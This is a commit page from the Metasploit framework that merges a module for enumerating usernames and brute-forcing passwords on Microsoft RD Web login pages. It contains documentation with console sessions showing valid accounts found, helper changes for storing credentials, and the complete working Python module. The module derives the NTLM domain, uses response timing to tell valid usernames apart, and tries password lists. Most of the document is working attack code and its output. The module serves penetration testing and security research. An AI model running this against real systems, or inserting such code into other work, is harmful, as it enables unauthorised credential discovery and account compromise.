Land #14544, RDP Web Login User Enumeration Auxiliary Module
Merge branch 'land-14544' into upstream-master
This commit is contained in:
@@ -0,0 +1,94 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The Microsoft RD Web login is vulnerable to the same type of authentication username enumeration vulnerability
|
||||
that is present for OWA. By analyzing the time it takes for a failed response, the RDWeb interface can be used
|
||||
to quickly test the validity of a set of usernames. The module additionally supports testing username password
|
||||
combinations. Additionally, this module can attempt to discover the target NTLM domain if you don't already know it.
|
||||
This module also reports credentials to the credentials database when they are discovered.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use auxiliary/scanner/http/rdp_web_login`
|
||||
- [ ] `set rhost TARGET_IP`
|
||||
- [ ] `set username USER_OR_FILE`
|
||||
- [ ] `set password PASSWORD_OR_FILE` (Only if you want to test the password brute forcing)
|
||||
- [ ] `set domain DOMAIN` (Only if you don't want to test the domain discovery feature)
|
||||
- [ ] Check output for validity of your test username(s), password(s), and domain
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### domain
|
||||
|
||||
The target domain to use for the username checks. If not provided, enum_domain needs to be set to true so it can be discovered.
|
||||
|
||||
### enum_domain
|
||||
|
||||
Enumerate the domain by using an NTLM challenge/response and parsing the AD Domain out.
|
||||
|
||||
### username
|
||||
|
||||
Either a specific username to verify or a file with one username per line to verify.
|
||||
|
||||
### password
|
||||
|
||||
Either a specific password to attempt or a file with one password per line to verify.
|
||||
If not provided, uses the same None password for all requests
|
||||
|
||||
### verify_service
|
||||
|
||||
Whether or not to verify that RDWeb is installed prior to scanning. Defaults to true.
|
||||
|
||||
### user_agent
|
||||
|
||||
An alternate User Agent string to use in HTTP requests. Defaults to Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0.
|
||||
|
||||
## Scenarios
|
||||
If an RDWeb login page is discovered, you can use this module to gather valid usernames for a brute force attack.
|
||||
|
||||
Specific target output replaced with Ys so as not to disclose information
|
||||
```msf6 > use auxiliary/scanner/http/rdp_web_login
|
||||
msf6 auxiliary(scanner/http/rdp_web_login) > set username /home/kali/users.txt
|
||||
username => /home/kali/users.txt
|
||||
msf6 auxiliary(scanner/http/rdp_web_login) > set RHOSTS YY.YYY.YYY.YY
|
||||
RHOSTS => YY.YYY.YYY.YY
|
||||
msf6 auxiliary(scanner/http/rdp_web_login) > run
|
||||
|
||||
[*] Running for YY.YYY.YYY.YY...
|
||||
[+] Found Domain: YYYYYYYYYYYY
|
||||
[-] Username YYYYYYYYYYYY\wrong is invalid! No response received in 1250 milliseconds
|
||||
[+] Username YYYYYYYYYYYY\YYYYY is valid! Response received in 628.877 milliseconds
|
||||
[-] Username YYYYYYYYYYYY\k0pak4 is invalid! No response received in 1250 milliseconds
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed```
|
||||
|
||||
If an RDWeb login page is discovered, you can use this module to perform a brute force attack.
|
||||
```msf6 > use auxiliary/scanner/http/rdp_web_login
|
||||
msf6 auxiliary(scanner/http/rdp_web_login) > set RHOSTS 192.168.148.128
|
||||
RHOSTS => 192.168.148.128
|
||||
msf6 auxiliary(scanner/http/rdp_web_login) > set username /home/kali/users.txt
|
||||
username => /home/kali/users.txt
|
||||
msf6 auxiliary(scanner/http/rdp_web_login) > set password /home/kali/passwords.txt
|
||||
password => /home/kali/passwords.txt
|
||||
msf6 auxiliary(scanner/http/rdp_web_login) > set timeout 500
|
||||
timeout => 500
|
||||
msf6 auxiliary(scanner/http/rdp_web_login) > run
|
||||
|
||||
[*] Running for YY.YYY.YYY.YY...
|
||||
[+] Found Domain: YYYY
|
||||
[-] Login YYYY\wrong:password is invalid! No response received in 500 milliseconds
|
||||
[-] Login YYYY\wrong:Password1! is invalid! No response received in 500 milliseconds
|
||||
[+] Password password is invalid but YYYY\k0pak4 is valid! Response received in 155.648 milliseconds
|
||||
[+] Login YYYY\k0pak4:Password1! is valid!
|
||||
[+] Password password is invalid but YYYY\Administrator is valid! Response received in 77.852 milliseconds
|
||||
[+] Password Password1! is invalid but YYYY\Administrator is valid! Response received in 76.029 milliseconds
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed```
|
||||
|
||||
## Version and OS
|
||||
Tested against Microsoft IIS 10.0 and RDWeb on Windows Server 2019 and Windows Server 2016
|
||||
|
||||
## References
|
||||
- https://raxis.com/blog/rd-web-access-vulnerability
|
||||
@@ -36,7 +36,7 @@ module Metasploit
|
||||
# @!attribute realm
|
||||
# @return [String,nil] The realm credential component (e.g domain name)
|
||||
attr_accessor :realm
|
||||
# @!attribute realm
|
||||
# @!attribute realm_key
|
||||
# @return [String,nil] The type of {#realm}
|
||||
attr_accessor :realm_key
|
||||
|
||||
|
||||
@@ -104,6 +104,12 @@ module Msf::Module::External
|
||||
|
||||
cred[:private_type] = :password
|
||||
|
||||
# Optional
|
||||
if data.has_key?('domain')
|
||||
cred[:service_data][:realm_value] = data['domain']
|
||||
cred[:service_data][:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
|
||||
end
|
||||
|
||||
store_valid_credential(**cred)
|
||||
when 'wrong_password'
|
||||
# Required
|
||||
@@ -140,7 +146,6 @@ def handle_credential_login(data, mod)
|
||||
module_fullname: self.fullname,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
# Optional
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
@@ -152,6 +157,11 @@ def handle_credential_login(data, mod)
|
||||
credential_data[:private_type] = :password
|
||||
end
|
||||
|
||||
if data.has_key?('domain')
|
||||
credential_data[:realm_value] = data['domain']
|
||||
credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
|
||||
end
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
last_attempted_at: DateTime.now,
|
||||
|
||||
@@ -69,6 +69,12 @@ def report_vuln(ip, name, **opts):
|
||||
report('vuln', vuln)
|
||||
|
||||
|
||||
def report_valid_username(username, **opts):
|
||||
info = opts.copy()
|
||||
info.update({'username': username})
|
||||
report('credential_login', info)
|
||||
|
||||
|
||||
def report_correct_password(username, password, **opts):
|
||||
info = opts.copy()
|
||||
info.update({'username': username, 'password': password})
|
||||
|
||||
+195
@@ -0,0 +1,195 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# standard modules
|
||||
from metasploit import module
|
||||
|
||||
# extra modules
|
||||
DEPENDENCIES_MISSING = False
|
||||
try:
|
||||
import base64
|
||||
import itertools
|
||||
import os
|
||||
import requests
|
||||
except ImportError:
|
||||
DEPENDENCIES_MISSING = True
|
||||
|
||||
|
||||
# Metasploit Metadata
|
||||
metadata = {
|
||||
'name': 'Microsoft RDP Web Client Login Enumeration',
|
||||
'description': '''
|
||||
Enumerate valid usernames and passwords against a Microsoft RDP Web Client
|
||||
by attempting authentication and performing a timing based check
|
||||
against the provided username.
|
||||
''',
|
||||
'authors': [
|
||||
'Matthew Dunn'
|
||||
],
|
||||
'date': '2020-12-23',
|
||||
'license': 'MSF_LICENSE',
|
||||
'references': [
|
||||
{'type': 'url', 'ref': 'https://raxis.com/blog/rd-web-access-vulnerability'},
|
||||
],
|
||||
'type': 'single_scanner',
|
||||
'options': {
|
||||
'targeturi': {'type': 'string',
|
||||
'description': 'The base path to the RDP Web Client install',
|
||||
'required': True, 'default': '/RDWeb/Pages/en-US/login.aspx'},
|
||||
'rport': {'type': 'port', 'description': 'Port to target',
|
||||
'required': True, 'default': 443},
|
||||
'domain': {'type': 'string', 'description': 'The target AD domain',
|
||||
'required': False, 'default': None},
|
||||
'username': {'type': 'string',
|
||||
'description': 'The username to verify or path to a file of usernames',
|
||||
'required': True, 'default': None},
|
||||
'password': {'type': 'string',
|
||||
'description': 'The password to try or path to a file of passwords',
|
||||
'required': False, 'default': None},
|
||||
'timeout': {'type': 'int',
|
||||
'description': 'Response timeout in milliseconds to consider username invalid',
|
||||
'required': True, 'default': 1250},
|
||||
'enum_domain': {'type': 'bool',
|
||||
'description': 'Automatically enumerate AD domain using NTLM',
|
||||
'required': False, 'default': True},
|
||||
'verify_service': {'type': 'bool',
|
||||
'description': 'Verify the service is up before performing login scan',
|
||||
'required': False, 'default': True},
|
||||
'user_agent': {'type': 'string',
|
||||
'description': 'User Agent string to use, defaults to Firefox',
|
||||
'required': False,
|
||||
'default': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
def verify_service(rhost, rport, targeturi, timeout, user_agent):
|
||||
"""Verify the service is up at the target URI within the specified timeout"""
|
||||
url = f'https://{rhost}:{rport}/{targeturi}'
|
||||
headers = {'Host':rhost,
|
||||
'User-Agent': user_agent}
|
||||
try:
|
||||
request = requests.get(url, headers=headers, timeout=(timeout / 1000),
|
||||
verify=False, allow_redirects=False)
|
||||
return request.status_code == 200 and 'RDWeb' in request.text
|
||||
except requests.exceptions.Timeout:
|
||||
return False
|
||||
except Exception as exc:
|
||||
module.log(str(exc), level='error')
|
||||
return False
|
||||
|
||||
|
||||
def get_ad_domain(rhost, rport, user_agent):
|
||||
"""Retrieve the NTLM domain out of a specific challenge/response"""
|
||||
domain_urls = ['aspnet_client', 'Autodiscover', 'ecp', 'EWS', 'OAB',
|
||||
'Microsoft-Server-ActiveSync', 'PowerShell', 'rpc']
|
||||
headers = {'Authorization': 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==',
|
||||
'User-Agent': user_agent,
|
||||
'Host': rhost}
|
||||
session = requests.Session()
|
||||
for url in domain_urls:
|
||||
target_url = f"https://{rhost}:{rport}/{url}"
|
||||
request = session.get(target_url, headers=headers, verify=False)
|
||||
# Decode the provided NTLM Response to strip out the domain name
|
||||
if request.status_code == 401 and 'WWW-Authenticate' in request.headers and \
|
||||
'NTLM' in request.headers['WWW-Authenticate']:
|
||||
domain_hash = request.headers['WWW-Authenticate'].split('NTLM ')[1].split(',')[0]
|
||||
domain = base64.b64decode(bytes(domain_hash,
|
||||
'utf-8')).replace(b'\x00',b'').split(b'\n')[1]
|
||||
domain = domain[domain.index(b'\x0f') + 1:domain.index(b'\x02')].decode('utf-8')
|
||||
module.log(f'Found Domain: {domain}', level='good')
|
||||
return domain
|
||||
module.log('Failed to find Domain', level='error')
|
||||
return None
|
||||
|
||||
|
||||
def check_login(rhost, rport, targeturi, domain, username, password, timeout, user_agent):
|
||||
"""Check a single login against the RDWeb Client
|
||||
The timeout is used to specify the amount of milliseconds where a
|
||||
response should consider the username invalid."""
|
||||
|
||||
url = f'https://{rhost}:{rport}/{targeturi}'
|
||||
body = f'DomainUserName={domain}%5C{username}&UserPass={password}'
|
||||
headers = {'Host':rhost,
|
||||
'User-Agent': user_agent,
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
'Content-Length': f'{len(body)}',
|
||||
'Origin': f'https://{rhost}'}
|
||||
session = requests.Session()
|
||||
report_data = {'domain':domain, 'address': rhost, 'port': rport,
|
||||
'protocol': 'tcp', 'service_name':'RDWeb'}
|
||||
try:
|
||||
request = session.post(url, data=body, headers=headers,
|
||||
timeout=(timeout / 1000), verify=False, allow_redirects=False)
|
||||
if request.status_code == 302:
|
||||
module.log(f'Login {domain}\\{username}:{password} is valid!', level='good')
|
||||
module.report_correct_password(username, password, **report_data)
|
||||
elif request.status_code == 200:
|
||||
module.log(f'Password {password} is invalid but {domain}\\{username} is valid! Response received in {request.elapsed.microseconds / 1000} milliseconds',
|
||||
level='good')
|
||||
module.report_valid_username(username, **report_data)
|
||||
else:
|
||||
module.log(f'Received unknown response with status code: {request.status_code}')
|
||||
except requests.exceptions.Timeout:
|
||||
module.log(f'Login {domain}\\{username}:{password} is invalid! No response received in {timeout} milliseconds',
|
||||
level='error')
|
||||
except requests.exceptions.RequestException as exc:
|
||||
module.log('{}'.format(exc), level='error')
|
||||
return
|
||||
|
||||
|
||||
def check_logins(rhost, rport, targeturi, domain, usernames, passwords, timeout, user_agent):
|
||||
"""Check each username and password combination"""
|
||||
for (username, password) in list(itertools.product(usernames, passwords)):
|
||||
check_login(rhost, rport, targeturi, domain,
|
||||
username.strip(), password.strip(), timeout, user_agent)
|
||||
|
||||
def run(args):
|
||||
"""Run the module, gathering the domain if desired and verifying usernames and passwords"""
|
||||
module.LogHandler.setup(msg_prefix='{} - '.format(args['RHOSTS']))
|
||||
if DEPENDENCIES_MISSING:
|
||||
module.log('Module dependencies are missing, cannot continue', level='error')
|
||||
return
|
||||
|
||||
user_agent = args['user_agent']
|
||||
# Verify the service is up if requested
|
||||
if args['verify_service']:
|
||||
service_verified = verify_service(args['RHOSTS'], args['rport'],
|
||||
args['targeturi'], int(args['timeout']), user_agent)
|
||||
if service_verified:
|
||||
module.log('Service is up, beginning scan...', level='good')
|
||||
else:
|
||||
module.log(f'Service appears to be down, no response in {args["timeout"]} milliseconds',
|
||||
level='error')
|
||||
return
|
||||
|
||||
# Gather AD Domain either from args or enumeration
|
||||
domain = args['domain'] if 'domain' in args else None
|
||||
if not domain and args['enum_domain']:
|
||||
domain = get_ad_domain(args['RHOSTS'], args['rport'], user_agent)
|
||||
|
||||
# Verify we have a proper domain
|
||||
if not domain:
|
||||
module.log('Either domain or enum_domain must be set to continue, aborting...',
|
||||
level='error')
|
||||
return
|
||||
|
||||
# Gather usernames and passwords for enumeration
|
||||
if os.path.isfile(args['username']):
|
||||
with open(args['username'], 'r') as file_contents:
|
||||
usernames = file_contents.readlines()
|
||||
else:
|
||||
usernames = [args['username']]
|
||||
if 'password' in args and os.path.isfile(args['password']):
|
||||
with open(args['password'], 'r') as file_contents:
|
||||
passwords = file_contents.readlines()
|
||||
elif 'password' in args and args['password']:
|
||||
passwords = [args['password']]
|
||||
else:
|
||||
passwords = ['wrong']
|
||||
# Check each valid login combination
|
||||
check_logins(args['RHOSTS'], args['rport'], args['targeturi'],
|
||||
domain, usernames, passwords, int(args['timeout']), user_agent)
|
||||
|
||||
if __name__ == '__main__':
|
||||
module.run(metadata, run)
|
||||
Reference in New Issue
Block a user